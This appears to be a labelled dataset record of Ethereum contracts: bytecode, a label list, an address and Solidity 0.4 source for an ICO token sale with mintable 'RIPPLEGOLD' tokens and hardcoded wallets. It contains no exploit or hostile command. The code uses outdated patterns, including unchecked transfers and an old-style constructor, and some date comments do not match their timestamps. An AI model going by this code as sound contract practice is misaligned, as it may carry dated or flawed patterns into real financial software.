} function getReward() public updateReward(msg.sender) { require(releaseTime < block.timestamp, "locked"); uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; ndr.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function notifyRewardAmount(uint256 reward, uint256 dayAmount) external onlyRewardDistribution updateReward(address(0)) { require(dayAmount > 0, "Day amount must not be 0"); uint256 duration = dayAmount.mul(1 days); if (block.timestamp >= releaseTime) { rewardRate = reward.div(duration); } else { require(block.timestamp.add(duration) > releaseTime, ""); uint256 remaining = releaseTime.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(duration); } lastUpdateTime = block.timestamp; releaseTime = block.timestamp.add(duration); emit RewardAdded(reward); } }
0x608060405234801561001057600080fd5b50600436106101725760003560e01c806380faa57d116100de578063c8f33c9111610097578063e9fad8ee11610071578063e9fad8ee1461033e578063eb9253c014610346578063f2fde38b14610372578063f851a4401461039857610172565b8063c8f33c9114610326578063cd3daf9d1461032e578063df136d651461033657610172565b806380faa57d146102af5780638b876347146102b75780638da5cb5b146102dd5780638f32d59b146102e5578063a694fc3a14610301578063b91d40011461031e57610172565b80633d18b912116101305780633d18b9121461024557806354d028801461024d5780635fcbd2851461027157806370a0823114610279578063715018a61461029f5780637b0a47ee146102a757610172565b80628cc262146101775780630700037d146101af5780630d68b761146101d557806318160ddd146101fd578063246132f9146102055780632e1a7d4d14610228575b600080fd5b61019d6004803603602081101561018d57600080fd5b50356001600160a01b03166103a0565b60408051918252519081900360200190f35b61019d600480360360208110156101c557600080fd5b50356001600160a01b0316610426565b6101fb600480360360208110156101eb57600080fd5b50356001600160a01b0316610438565b005b61019d6104b3565b6101fb6004803603604081101561021b57600080fd5b50803590602001356104ba565b6101fb6004803603602081101561023e57600080fd5b50356106d8565b6101fb6107fe565b61025561090f565b604080516001600160a01b039092168252519081900360200190f35b61025561091e565b61019d6004803603602081101561028f57600080fd5b50356001600160a01b031661092d565b6101fb610948565b61019d6109eb565b61019d6109f1565b61019d600480360360208110156102cd57600080fd5b50356001600160a01b0316610a04565b610255610a16565b6102ed610a25565b604080519115158252519081900360200190f35b6101fb6004803603602081101561031757600080fd5b5035610a4b565b61019d610b2f565b61019d610b35565b61019d610b3b565b61019d610b8f565b6101fb610b95565b6101fb6004803603604081101561035c57600080fd5b506001600160a01b038135169060200135610bb0565b6101fb6004803603602081101561038857600080fd5b50356001600160a01b0316610cb2565b610255610d17565b6001600160a01b0381166000908152600c6020908152604080832054600b909252822054610420919061041490670de0b6b3a764000090610408906103f3906103e7610b3b565b9063ffffffff610d2616565b6103fc8861092d565b9063ffffffff610d6f16565b9063ffffffff610dc816565b9063ffffffff610e0a16565b92915050565b600c6020526000908152604090205481565b610440610a25565b610491576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6001545b90565b6004546001600160a01b03166104ce610e64565b6001600160a01b0316146105135760405162461bcd60e51b81526004018080602001828103825260218152602001806113cd6021913960400191505060405180910390fd5b600061051d610b3b565b600a556105286109f1565b6009556001600160a01b0381161561056f57610543816103a0565b6001600160a01b0382166000908152600c6020908152604080832093909355600a54600b909152919020555b600082116105c4576040805162461bcd60e51b815260206004820152601860248201527f44617920616d6f756e74206d757374206e6f7420626520300000000000000000604482015290519081900360640190fd5b60006105d9836201518063ffffffff610d6f16565b905060065442106105fc576105f4848263ffffffff610dc816565b600855610686565b60065461060f428363ffffffff610e0a16565b1161063b576040805162461bcd60e51b8152602060048201526000602482015290519081900360640190fd5b600654600090610651904263ffffffff610d2616565b9050600061066a60085483610d6f90919063ffffffff16565b905061068083610408888463ffffffff610e0a16565b60085550505b42600981905561069c908263ffffffff610e0a16565b6006556040805185815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a150505050565b336106e1610b3b565b600a556106ec6109f1565b6009556001600160a01b0381161561073357610707816103a0565b6001600160a01b0382166000908152600c6020908152604080832093909355600a54600b909152919020555b6000821161077c576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b42600654106107bb576040805162461bcd60e51b81526020600482015260066024820152651b1bd8dad95960d21b604482015290519081900360640190fd5b6107c482610e68565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25050565b33610807610b3b565b600a556108126109f1565b6009556001600160a01b038116156108595761082d816103a0565b6001600160a01b0382166000908152600c6020908152604080832093909355600a54600b909152919020555b4260065410610898576040805162461bcd60e51b81526020600482015260066024820152651b1bd8dad95960d21b604482015290519081900360640190fd5b60006108a3336103a0565b9050801561090b57336000818152600c60205260408120556005546108d4916001600160a01b039091169083610ec5565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b5050565b6005546001600160a01b031681565b6000546001600160a01b031681565b6001600160a01b031660009081526002602052604090205490565b610950610a25565b6109a1576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6003546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600380546001600160a01b0319169055565b60085481565b60006109ff42600654610f1c565b905090565b600b6020526000908152604090205481565b6003546001600160a01b031690565b6003546000906001600160a01b0316610a3c610e64565b6001600160a01b031614905090565b33610a54610b3b565b600a55610a5f6109f1565b6009556001600160a01b03811615610aa657610a7a816103a0565b6001600160a01b0382166000908152600c6020908152604080832093909355600a54600b909152919020555b60008211610aec576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b610af582610f32565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a25050565b60065481565b60095481565b6000610b456104b3565b610b525750600a546104b7565b6109ff610b80610b606104b3565b610408670de0b6b3a76400006103fc6008546103fc6009546103e76109f1565b600a549063ffffffff610e0a16565b600a5481565b610ba6610ba13361092d565b6106d8565b610bae6107fe565b565b6007546001600160a01b03163314610bfc576040805162461bcd60e51b815260206004820152600a60248201526961646d696e206f6e6c7960b01b604482015290519081900360640190fd5b6000546001600160a01b0383811691161415610c49576040805162461bcd60e51b815260206004820152600760248201526636382a37b5b2b760c91b604482015290519081900360640190fd5b6005546001600160a01b0383811691161415610c92576040805162461bcd60e51b815260206004820152600360248201526237323960e91b604482015290519081900360640190fd5b60075461090b906001600160a01b0384811691168363ffffffff610ec516565b610cba610a25565b610d0b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610d1481610f94565b50565b6007546001600160a01b031681565b6000610d6883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611035565b9392505050565b600082610d7e57506000610420565b82820282848281610d8b57fe5b0414610d685760405162461bcd60e51b81526004018080602001828103825260218152602001806113ac6021913960400191505060405180910390fd5b6000610d6883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110cc565b600082820183811015610d68576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b600154610e7b908263ffffffff610d2616565b60015533600090815260026020526040902054610e9e908263ffffffff610d2616565b336000818152600260205260408120929092559054610d14916001600160a01b0390911690835b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610f17908490611131565b505050565b6000818310610f2b5781610d68565b5090919050565b600154610f45908263ffffffff610e0a16565b60015533600090815260026020526040902054610f68908263ffffffff610e0a16565b336000818152600260205260408120929092559054610d14916001600160a01b039091169030846112ef565b6001600160a01b038116610fd95760405162461bcd60e51b81526004018080602001828103825260268152602001806113866026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b600081848411156110c45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611089578181015183820152602001611071565b50505050905090810190601f1680156110b65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000818361111b5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611089578181015183820152602001611071565b50600083858161112757fe5b0495945050505050565b611143826001600160a01b0316611349565b611194576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106111d25780518252601f1990920191602091820191016111b3565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611234576040519150601f19603f3d011682016040523d82523d6000602084013e611239565b606091505b509150915081611290576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156112e9578080602001905160208110156112ac57600080fd5b50516112e95760405162461bcd60e51b815260040180806020018281038252602a8152602001806113ee602a913960400191505060405180910390fd5b50505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526112e9908590611131565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061137d5750808214155b94935050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742072657761726420646973747269627574696f6e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820f9421e8121514b2996fbb01b8a7926ef109d4996f3828bf6f7fd3b82dc41f0ad64736f6c634300050c0032
[ 4, 7 ]
0xf2d0e8887438fd29b22f77003bd19a4694f31030
pragma solidity ^0.4.18; // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts/token/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: contracts/token/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/token/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/MintableToken.sol contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; address public saleAgent; modifier notLocked() { require(msg.sender == owner || msg.sender == saleAgent || mintingFinished); _; } function setSaleAgent(address newSaleAgnet) public { require(msg.sender == saleAgent || msg.sender == owner); saleAgent = newSaleAgnet; } function mint(address _to, uint256 _amount) public returns (bool) { require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public returns (bool) { require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished); mintingFinished = true; MintFinished(); return true; } function transfer(address _to, uint256 _value) public notLocked returns (bool) { return super.transfer(_to, _value); } function transferFrom(address from, address to, uint256 value) public notLocked returns (bool) { return super.transferFrom(from, to, value); } } // File: contracts/FreezeTokensWallet.sol contract FreezeTokensWallet is Ownable { using SafeMath for uint256; MintableToken public token; bool public started; uint public startLockPeriod = 180 days; uint public period = 360 days; uint public duration = 90 days; uint public startUnlock; uint public retrievedTokens; uint public startBalance; modifier notStarted() { require(!started); _; } function setPeriod(uint newPeriod) public onlyOwner notStarted { period = newPeriod * 1 days; } function setDuration(uint newDuration) public onlyOwner notStarted { duration = newDuration * 1 days; } function setStartLockPeriod(uint newStartLockPeriod) public onlyOwner notStarted { startLockPeriod = newStartLockPeriod * 1 days; } function setToken(address newToken) public onlyOwner notStarted { token = MintableToken(newToken); } function start() public onlyOwner notStarted { startUnlock = now + startLockPeriod; retrievedTokens = 0; startBalance = token.balanceOf(this); started = true; } function retrieveTokens(address to) public onlyOwner { require(started && now >= startUnlock); if (now >= startUnlock + period) { token.transfer(to, token.balanceOf(this)); } else { uint parts = period.div(duration); uint tokensByPart = startBalance.div(parts); uint timeSinceStart = now.sub(startUnlock); uint pastParts = timeSinceStart.div(duration); uint tokensToRetrieveSinceStart = pastParts.mul(tokensByPart); uint tokensToRetrieve = tokensToRetrieveSinceStart.sub(retrievedTokens); if(tokensToRetrieve > 0) { retrievedTokens = retrievedTokens.add(tokensToRetrieve); token.transfer(to, tokensToRetrieve); } } } } // File: contracts/InvestedProvider.sol contract InvestedProvider is Ownable { uint public invested; } // File: contracts/PercentRateProvider.sol contract PercentRateProvider is Ownable { uint public percentRate = 100; function setPercentRate(uint newPercentRate) public onlyOwner { percentRate = newPercentRate; } } // File: contracts/RetrieveTokensFeature.sol contract RetrieveTokensFeature is Ownable { function retrieveTokens(address to, address anotherToken) public onlyOwner { ERC20 alienToken = ERC20(anotherToken); alienToken.transfer(to, alienToken.balanceOf(this)); } } // File: contracts/WalletProvider.sol contract WalletProvider is Ownable { address public wallet; function setWallet(address newWallet) public onlyOwner { wallet = newWallet; } } // File: contracts/CommonSale.sol contract CommonSale is InvestedProvider, WalletProvider, PercentRateProvider, RetrieveTokensFeature { using SafeMath for uint; address public directMintAgent; uint public price; uint public start; uint public minInvestedLimit; MintableToken public token; uint public hardcap; modifier isUnderHardcap() { require(invested < hardcap); _; } function setHardcap(uint newHardcap) public onlyOwner { hardcap = newHardcap; } modifier onlyDirectMintAgentOrOwner() { require(directMintAgent == msg.sender || owner == msg.sender); _; } modifier minInvestLimited(uint value) { require(value >= minInvestedLimit); _; } function setStart(uint newStart) public onlyOwner { start = newStart; } function setMinInvestedLimit(uint newMinInvestedLimit) public onlyOwner { minInvestedLimit = newMinInvestedLimit; } function setDirectMintAgent(address newDirectMintAgent) public onlyOwner { directMintAgent = newDirectMintAgent; } function setPrice(uint newPrice) public onlyOwner { price = newPrice; } function setToken(address newToken) public onlyOwner { token = MintableToken(newToken); } function calculateTokens(uint _invested) internal returns(uint); function mintTokensExternal(address to, uint tokens) public onlyDirectMintAgentOrOwner { mintTokens(to, tokens); } function mintTokens(address to, uint tokens) internal { token.mint(this, tokens); token.transfer(to, tokens); } function endSaleDate() public view returns(uint); function mintTokensByETHExternal(address to, uint _invested) public onlyDirectMintAgentOrOwner returns(uint) { return mintTokensByETH(to, _invested); } function mintTokensByETH(address to, uint _invested) internal isUnderHardcap returns(uint) { invested = invested.add(_invested); uint tokens = calculateTokens(_invested); mintTokens(to, tokens); return tokens; } function fallback() internal minInvestLimited(msg.value) returns(uint) { require(now >= start && now < endSaleDate()); wallet.transfer(msg.value); return mintTokensByETH(msg.sender, msg.value); } function () public payable { fallback(); } } // File: contracts/StagedCrowdsale.sol contract StagedCrowdsale is Ownable { using SafeMath for uint; struct Milestone { uint period; uint bonus; } uint public totalPeriod; Milestone[] public milestones; function milestonesCount() public view returns(uint) { return milestones.length; } function addMilestone(uint period, uint bonus) public onlyOwner { require(period > 0); milestones.push(Milestone(period, bonus)); totalPeriod = totalPeriod.add(period); } function removeMilestone(uint8 number) public onlyOwner { require(number < milestones.length); Milestone storage milestone = milestones[number]; totalPeriod = totalPeriod.sub(milestone.period); delete milestones[number]; for (uint i = number; i < milestones.length - 1; i++) { milestones[i] = milestones[i+1]; } milestones.length--; } function changeMilestone(uint8 number, uint period, uint bonus) public onlyOwner { require(number < milestones.length); Milestone storage milestone = milestones[number]; totalPeriod = totalPeriod.sub(milestone.period); milestone.period = period; milestone.bonus = bonus; totalPeriod = totalPeriod.add(period); } function insertMilestone(uint8 numberAfter, uint period, uint bonus) public onlyOwner { require(numberAfter < milestones.length); totalPeriod = totalPeriod.add(period); milestones.length++; for (uint i = milestones.length - 2; i > numberAfter; i--) { milestones[i + 1] = milestones[i]; } milestones[numberAfter + 1] = Milestone(period, bonus); } function clearMilestones() public onlyOwner { require(milestones.length > 0); for (uint i = 0; i < milestones.length; i++) { delete milestones[i]; } milestones.length -= milestones.length; totalPeriod = 0; } function lastSaleDate(uint start) public view returns(uint) { return start + totalPeriod * 1 days; } function currentMilestone(uint start) public view returns(uint) { uint previousDate = start; for(uint i=0; i < milestones.length; i++) { if(now >= previousDate && now < previousDate + milestones[i].period * 1 days) { return i; } previousDate = previousDate.add(milestones[i].period * 1 days); } revert(); } } // File: contracts/ICO.sol contract ICO is StagedCrowdsale, CommonSale { FreezeTokensWallet public teamTokensWallet; address public bountyTokensWallet; address public reservedTokensWallet; uint public teamTokensPercent; uint public bountyTokensPercent; uint public reservedTokensPercent; function setTeamTokensPercent(uint newTeamTokensPercent) public onlyOwner { teamTokensPercent = newTeamTokensPercent; } function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner { bountyTokensPercent = newBountyTokensPercent; } function setReservedTokensPercent(uint newReservedTokensPercent) public onlyOwner { reservedTokensPercent = newReservedTokensPercent; } function setTeamTokensWallet(address newTeamTokensWallet) public onlyOwner { teamTokensWallet = FreezeTokensWallet(newTeamTokensWallet); } function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner { bountyTokensWallet = newBountyTokensWallet; } function setReservedTokensWallet(address newReservedTokensWallet) public onlyOwner { reservedTokensWallet = newReservedTokensWallet; } function calculateTokens(uint _invested) internal returns(uint) { uint milestoneIndex = currentMilestone(start); Milestone storage milestone = milestones[milestoneIndex]; uint tokens = _invested.mul(price).div(0.001 ether); if(milestone.bonus > 0) { tokens = tokens.add(tokens.mul(milestone.bonus).div(percentRate)); } return tokens; } function finish() public onlyOwner { uint summaryTokensPercent = bountyTokensPercent.add(teamTokensPercent).add(reservedTokensPercent); uint mintedTokens = token.totalSupply(); uint allTokens = mintedTokens.mul(percentRate).div(percentRate.sub(summaryTokensPercent)); uint foundersTokens = allTokens.mul(teamTokensPercent).div(percentRate); uint bountyTokens = allTokens.mul(bountyTokensPercent).div(percentRate); uint reservedTokens = allTokens.mul(reservedTokensPercent).div(percentRate); mintTokens(teamTokensWallet, foundersTokens); mintTokens(bountyTokensWallet, bountyTokens); mintTokens(reservedTokensWallet, reservedTokens); token.finishMinting(); teamTokensWallet.start(); teamTokensWallet.transferOwnership(owner); } function endSaleDate() public view returns(uint) { return lastSaleDate(start); } } // File: contracts/NextSaleAgentFeature.sol contract NextSaleAgentFeature is Ownable { address public nextSaleAgent; function setNextSaleAgent(address newNextSaleAgent) public onlyOwner { nextSaleAgent = newNextSaleAgent; } } // File: contracts/WhiteListFeature.sol contract WhiteListFeature is CommonSale { mapping(address => bool) public whiteList; function addToWhiteList(address _address) public onlyDirectMintAgentOrOwner { whiteList[_address] = true; } function deleteFromWhiteList(address _address) public onlyDirectMintAgentOrOwner { whiteList[_address] = false; } } // File: contracts/PreICO.sol contract PreICO is NextSaleAgentFeature, WhiteListFeature { uint public period; function calculateTokens(uint _invested) internal returns(uint) { return _invested.mul(price).div(0.001 ether); } function setPeriod(uint newPeriod) public onlyOwner { period = newPeriod; } function finish() public onlyOwner { token.setSaleAgent(nextSaleAgent); } function endSaleDate() public view returns(uint) { return start.add(period * 1 days); } function fallback() internal minInvestLimited(msg.value) returns(uint) { require(now >= start && now < endSaleDate()); require(whiteList[msg.sender]); wallet.transfer(msg.value); return mintTokensByETH(msg.sender, msg.value); } } // File: contracts/ReceivingContractCallback.sol contract ReceivingContractCallback { function tokenFallback(address _from, uint _value) public; } // File: contracts/ripplegold.sol contract ripplegold is MintableToken { string public constant name = "RIPPLEGOLD"; string public constant symbol = "XRPG"; uint32 public constant decimals = 18; mapping(address => bool) public registeredCallbacks; function transfer(address _to, uint256 _value) public returns (bool) { return processCallback(super.transfer(_to, _value), msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { return processCallback(super.transferFrom(_from, _to, _value), _from, _to, _value); } function registerCallback(address callback) public onlyOwner { registeredCallbacks[callback] = true; } function deregisterCallback(address callback) public onlyOwner { registeredCallbacks[callback] = false; } function processCallback(bool result, address from, address to, uint value) internal returns(bool) { if (result && registeredCallbacks[to]) { ReceivingContractCallback targetCallback = ReceivingContractCallback(to); targetCallback.tokenFallback(from, value); } return result; } } // File: contracts/Configurator.sol contract Configurator is Ownable { MintableToken public token; PreICO public preICO; ICO public ico; FreezeTokensWallet public teamTokensWallet; function deploy() public onlyOwner { token = new ripplegold(); preICO = new PreICO(); preICO.setWallet(0x486624Bc04234BE4C106BD2815e3f07AdE09A976); preICO.setStart(1520640000); // 18 apr 2018 00:00:00 GMT preICO.setPeriod(22); preICO.setPrice(33334000000000000000000); preICO.setMinInvestedLimit(100000000000000000); preICO.setToken(token); preICO.setHardcap(8500000000000000000000); token.setSaleAgent(preICO); ico = new ICO(); ico.addMilestone(20, 40); ico.addMilestone(20, 20); ico.addMilestone(20, 0); ico.setMinInvestedLimit(100000000000000000); ico.setToken(token); ico.setPrice(14286000000000000000000); ico.setWallet(0x5FB78D8B8f1161731BC80eF93CBcfccc5783356F); ico.setBountyTokensWallet(0xdAA156b6eA6b9737eA20c68Db4040B1182E487B6); ico.setReservedTokensWallet(0xE1D1898660469797B22D348Ff67d54643d848295); ico.setStart(1522627200); // 30 mai 2018 00:00:00 GMT ico.setHardcap(96000000000000000000000); ico.setTeamTokensPercent(12); ico.setBountyTokensPercent(4); ico.setReservedTokensPercent(34); teamTokensWallet = new FreezeTokensWallet(); teamTokensWallet.setStartLockPeriod(180); teamTokensWallet.setPeriod(360); teamTokensWallet.setDuration(90); teamTokensWallet.setToken(token); teamTokensWallet.transferOwnership(ico); ico.setTeamTokensWallet(teamTokensWallet); preICO.setNextSaleAgent(ico); address manager = 0x486624Bc04234BE4C106BD2815e3f07AdE09A976; token.transferOwnership(manager); preICO.transferOwnership(manager); ico.transferOwnership(manager); } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012257806306fdde0314610151578063095ea7b3146101e157806314133a7c1461024657806318160ddd1461028957806323b872dd146102b4578063313ce5671461033957806340c10f19146103705780634c66326d146103d5578063661884631461041857806370a082311461047d5780637d64bcb4146104d45780638da5cb5b1461050357806395d89b411461055a578063a9059cbb146105ea578063b1d6a2f01461064f578063cf1b037c146106a6578063d73dd623146106e9578063dd62ed3e1461074e578063f2fde38b146107c5578063f308846f14610808575b600080fd5b34801561012e57600080fd5b50610137610863565b604051808215151515815260200191505060405180910390f35b34801561015d57600080fd5b50610166610876565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a657808201518184015260208101905061018b565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ed57600080fd5b5061022c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108af565b604051808215151515815260200191505060405180910390f35b34801561025257600080fd5b50610287600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a1565b005b34801561029557600080fd5b5061029e610a99565b6040518082815260200191505060405180910390f35b3480156102c057600080fd5b5061031f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a9f565b604051808215151515815260200191505060405180910390f35b34801561034557600080fd5b5061034e610ac0565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34801561037c57600080fd5b506103bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac5565b604051808215151515815260200191505060405180910390f35b3480156103e157600080fd5b50610416600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c9c565b005b34801561042457600080fd5b50610463600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d53565b604051808215151515815260200191505060405180910390f35b34801561048957600080fd5b506104be600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fe4565b6040518082815260200191505060405180910390f35b3480156104e057600080fd5b506104e961102d565b604051808215151515815260200191505060405180910390f35b34801561050f57600080fd5b5061051861114a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056657600080fd5b5061056f611170565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105af578082015181840152602081019050610594565b50505050905090810190601f1680156105dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105f657600080fd5b50610635600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111a9565b604051808215151515815260200191505060405180910390f35b34801561065b57600080fd5b506106646111c8565b604051808273fffffffffffffffffffffff